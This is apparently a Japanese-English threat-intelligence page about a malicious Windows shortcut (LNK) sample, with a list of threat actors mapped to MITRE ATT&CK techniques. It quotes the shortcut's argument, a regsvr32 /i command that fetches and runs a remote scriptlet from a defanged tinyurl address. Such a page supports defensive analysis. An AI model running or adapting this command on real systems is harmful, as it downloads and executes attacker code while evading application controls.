Trusted Design

Malware: Lnk Malicious

概要

VirusTotal Report: https://virustotalcloud.appspot.com/nui/index.html#/url/554aa4441e97d12dc0669b9ec61459ea16640923c897633ea9c864b2187dcae1/detection Argument: C:\Windows\System32\regsvr32.exe /u /s /i:hxxps:// tinyurl . com/ yd49yrlk scrobj.dll

Created: 2026-02-23

Indicators

Indicatorsは見つかっていない。

類似Pulses

このPulseに関連する脅威アクター (事実ベース)

Gamaredon Group

Score: 5.78
Matched TTPs:
  • T1218.011 - Rundll32
  • T1027.012 - LNK Icon Smuggling
MITREへのリンク →

APT19

Score: 4.68
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.010 - Regsvr32
MITREへのリンク →

Kimsuky

Score: 8.53
Matched TTPs:
  • T1218.011 - Rundll32
  • T1027.012 - LNK Icon Smuggling
  • T1218.010 - Regsvr32
MITREへのリンク →

TA551

Score: 4.68
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.010 - Regsvr32
MITREへのリンク →

Blue Mockingbird

Score: 4.68
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.010 - Regsvr32
MITREへのリンク →

Wizard Spider

Score: 5.78
Matched TTPs:
  • T1218.011 - Rundll32
  • T1547.004 - Winlogon Helper DLL
MITREへのリンク →

APT32

Score: 7.97
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.010 - Regsvr32
  • T1036.003 - Rename Legitimate Utilities
MITREへのリンク →

Lazarus Group

Score: 12.97
Matched TTPs:
  • T1218.011 - Rundll32
  • T1036.003 - Rename Legitimate Utilities
  • T1027.007 - Dynamic API Resolution
  • T1529 - System Shutdown/Reboot
MITREへのリンク →

TA505

Score: 5.22
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.007 - Msiexec
MITREへのリンク →

APT28

Score: 4.86
Matched TTPs:
  • T1218.011 - Rundll32
  • T1078.004 - Cloud Accounts
MITREへのリンク →

HAFNIUM

Score: 4.86
Matched TTPs:
  • T1218.011 - Rundll32
  • T1078.004 - Cloud Accounts
MITREへのリンク →

APT38

Score: 12.13
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.007 - Msiexec
  • T1036.003 - Rename Legitimate Utilities
  • T1529 - System Shutdown/Reboot
MITREへのリンク →

Daggerfly

Score: 5.22
Matched TTPs:
  • T1218.011 - Rundll32
  • T1036.003 - Rename Legitimate Utilities
MITREへのリンク →

Storm-0501

Score: 7.61
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.010 - Regsvr32
  • T1078.004 - Cloud Accounts
MITREへのリンク →

MuddyWater

Score: 6.07
Matched TTPs:
  • T1218.011 - Rundll32
  • T1218.003 - CMSTP
MITREへのリンク →

Molerats

Score: 3.29
Matched TTPs:
  • T1218.007 - Msiexec
MITREへのリンク →

Rancor

Score: 3.29
Matched TTPs:
  • T1218.007 - Msiexec
MITREへのリンク →

ZIRCONIUM

Score: 3.29
Matched TTPs:
  • T1218.007 - Msiexec
MITREへのリンク →

Machete

Score: 3.29
Matched TTPs:
  • T1218.007 - Msiexec
MITREへのリンク →

Cobalt Group

Score: 6.88
Matched TTPs:
  • T1218.003 - CMSTP
  • T1218.010 - Regsvr32
MITREへのリンク →

Tropic Trooper

Score: 3.84
Matched TTPs:
  • T1547.004 - Winlogon Helper DLL
MITREへのリンク →

Turla

Score: 3.84
Matched TTPs:
  • T1547.004 - Winlogon Helper DLL
MITREへのリンク →

Mustang Panda

Score: 7.98
Matched TTPs:
  • T1027.012 - LNK Icon Smuggling
  • T1027.007 - Dynamic API Resolution
MITREへのリンク →

menuPass

Score: 3.29
Matched TTPs:
  • T1036.003 - Rename Legitimate Utilities
MITREへのリンク →

GALLIUM

Score: 3.29
Matched TTPs:
  • T1036.003 - Rename Legitimate Utilities
MITREへのリンク →

APT29

Score: 12.00
Matched TTPs:
  • T1090.004 - Domain Fronting
  • T1027.006 - HTML Smuggling
  • T1078.004 - Cloud Accounts
MITREへのリンク →

APT39

Score: 4.54
Matched TTPs:
  • T1546.010 - AppInit DLLs
MITREへのリンク →

APT37

Score: 3.62
Matched TTPs:
  • T1529 - System Shutdown/Reboot
MITREへのリンク →

Medusa Group

Score: 8.16
Matched TTPs:
  • T1529 - System Shutdown/Reboot
  • T1218.014 - MMC
MITREへのリンク →

このPulseに関連する脅威アクター (推論ベース)

Lazarus Group

Score: 0.78
Matched TTPs:
  • T1218.011 - Rundll32
  • T1036.003 - Rename Legitimate Utilities
  • T1027.007 - Dynamic API Resolution
  • T1529 - System Shutdown/Reboot
MITREへのリンク →

APT29

Score: 0.73
Matched TTPs:
  • T1027.006 - HTML Smuggling
  • T1090.004 - Domain Fronting
  • T1078.004 - Cloud Accounts
MITREへのリンク →

APT38

Score: 0.72
Matched TTPs:
  • T1218.007 - Msiexec
  • T1218.011 - Rundll32
  • T1036.003 - Rename Legitimate Utilities
  • T1529 - System Shutdown/Reboot
MITREへのリンク →

APT32

Score: 0.55
Matched TTPs:
  • T1218.011 - Rundll32
  • T1036.003 - Rename Legitimate Utilities
  • T1218.010 - Regsvr32
MITREへのリンク →

Related CVEs

このPulseに見つかったCVEはありません。

Pulse – 脅威アクター グラフ

← Pulse一覧に戻る